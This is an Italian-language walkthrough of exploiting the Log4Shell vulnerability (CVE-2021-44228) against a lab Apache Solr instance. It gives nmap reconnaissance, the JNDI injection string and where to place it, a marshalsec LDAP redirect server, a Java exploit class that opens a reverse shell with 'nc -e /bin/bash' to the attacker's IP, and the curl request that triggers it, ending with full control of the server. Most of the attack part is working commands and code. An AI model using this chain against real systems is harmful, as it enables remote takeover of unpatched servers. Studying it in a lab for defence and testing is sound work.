Vulnerabilità Log4j - CVE-2021-44228 📗

• Introduzione

Questa vulnerabilità è stata scoperta il 9 dicembre 2021, identificata con CVE-2021-44228, questo difetto riguarda il pacchetto di log Java, generando un punteggio di gravità (CVSS) di 10 punti, fornendo l'esecuzione di accesso remoto all'host. Questa vulnerabilità è nota alla comunità della sicurezza come LOG4SHELL.

se vuoi un elenco dei fornitori di software interessati dalla vulnerabilità LOG4J, controlla il repository qui sotto;

GitHub/Log4jAttackSurface

• Ricognizione

Per dimostrare questo tipo di attacco, abbiamo un host con la versione vulnerabile (Apache Solr 8.11.0) del pacchetto log4j con Java 1.8.0_181.

Inizia con una ricognizione di base per capire quali porte sono aperte su questa macchina usando lo strumento nmap (O qualsiasi altro di tuo interesse).

nmap -v -p- poc.log4j - Host vulnerabile

In questo caso, sono state trovate 3 porte aperte. Miglioriamo il nostro nmap, specificando solo le porte aperte e il comando -sV (Restituisce la versione dell'applicazione sulla porta)

nmap -v -p22,111,8983 -sV poc.log4j

Probabilmente abbiamo un Apache in esecuzione sulla Porta 8983. Di seguito possiamo confermare l'Apache; questa istanza di Apache Solr è fornita senza alcun dato. È un'installazione piatta, vanilla e assolutamente minima.

• Prova di Concetto 📚

Il principale vettore di attacco per log4j è nel log dell'applicazione; se guardiamo la schermata di Solr, possiamo vedere il log abilitato in Dsolr.log.dir.

Nota che l'endpoint URL che hai appena scoperto deve essere preceduto dal prefisso solr/ quando lo visualizzi dall'interfaccia web. Ciò significa che dovresti visitare:

http://poc.log4j:8983/solr/admin/cores

• perché /admin/cores ❓ 💬
  Qui troviamo la vulnerabilità che può essere sfruttata. Questa è una chiamata che riceve una variabile (params={}) da eseguire; possiamo manipolare questo input e inviare il nostro payload. Di seguito possiamo vedere un log generato da Apache che chiama questo URL /admin/cores.
  

Il formato della sintassi usuale che sfrutta questa vulnerabilità è il seguente;

${jndi:ldap://ATTACKERCONTROLLEDHOST}

Questa sintassi indica che log4j invocherà funzionalità da "JNDI", ovvero la "Java Naming and Directory Interface". In definitiva, questo può essere usato per accedere a risorse esterne, o "references", che è ciò che viene armato in questo attacco. Nota lo schema ldap://; questo indica che il target contatterà un endpoint (una posizione controllata dall'attaccante, nel caso di questo attacco) tramite il protocollo LDAP.

Dove possiamo inserire questa sintassi di ldap?

Puoi semplicemente fornire variabili o parametri HTTP GET che verranno poi elaborati e analizzati da log4j. Basta questa singola riga di testo -- e questo rende questa vulnerabilità estremamente facile da sfruttare.

Altri punti in cui puoi inserire questa sintassi JNDI:

• Campi di input, moduli di login con utente e password, punti di inserimento dati nelle applicazioni.
• Header HTTP come User-Agent, X-Forwarded-For, o altri header personalizzabili.
• Qualsiasi punto in cui vengono inseriti dati forniti dall'utente.

L'host è davvero vulnerabile?

In questo passaggio, dopo aver scoperto una versione di log4j sull'host target, dobbiamo testarla e vedere se quella versione è vulnerabile.

Apriamo la porta 6666 sull'host attaccante.

nc -vnlp 6666

Effettua una richiesta includendo questa sintassi primitiva del payload JNDI come parte dei parametri HTTP. Questo può essere fatto facilmente con l'utility da riga di comando curl.

quando eseguiamo il payload, otteniamo il ritorno nel nostro netcat sulla porta 6666. 🙌

A questo punto, hai verificato che il target è di fatto vulnerabile vedendo questa connessione catturata nel tuo listener netcat. Tuttavia, ha effettuato una richiesta LDAP... quindi tutto ciò che il tuo listener netcat potrebbe aver visto erano caratteri non stampabili (byte dall'aspetto strano). Ora possiamo costruire su questa base per rispondere con un vero handler LDAP.

Esploriamo 🤘

Come abbiamo visto nel curl qui sopra, siamo riusciti a usare il protocollo LDAP per ricevere una richiesta nella nostra NC. Tuttavia, poiché usiamo un altro protocollo, non siamo in grado di visualizzare o manipolare la risposta.

Il passo successivo è creare un server LDAP così possiamo gestire le richieste, andiamo!

• Per velocizzare questo POC, useremo l'utility già pronta in https://github.com/mbechler/marshalsec
• Dobbiamo usare maven per utilizzare lo script marshalsec. Maven disponibile tramite apt install maven
• All'interno del repository marshalsec, inizia con maven mvn clean package -DskipTests
• Dopo aver costruito il jar, possiamo avviare il server LDAP per reindirizzare le richieste

Replace YOUR.IP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.IP:8000/#Exploit"

Preparazione dell'Exploit

Lasceremo il server LDAP in esecuzione e creeremo lo script per esplorare il server.

• Di seguito è riportato l'exploit che useremo. Di seguito è riportato l'exploit che useremo. È scritto in Java. Crea un file Exploit.java con la classe qui sotto.

#Simple exploit that is calling /bin/bash with NC to my IP on the port 9999.

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

• Compiliamo l'exploit con javac Exploit.java -source 8 -target 8. Verrà creato il file Exploit.class.

• Con l'exploit pronto, ospitiamolo sul server Python python3 -m http.server.

• Apriamo una porta con NC per ricevere il comando bash java che abbiamo creato in precedenza. Creiamo un nuovo nc -lnvp 9999.

• Mettiamo tutto in funzione! Facciamo una CURL forzando il server a cercare il nostro exploit sulla porta 8000 che abbiamo creato con Python.

curl 'http://poc.log4j:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.IP:1389/Exploit\}'

• Fatto! 👏 Abbiamo il pieno controllo del server.

Okay, ma come è successo tutto questo ❓

• Di seguito è riportato un semplice esempio del flusso di esplorazione.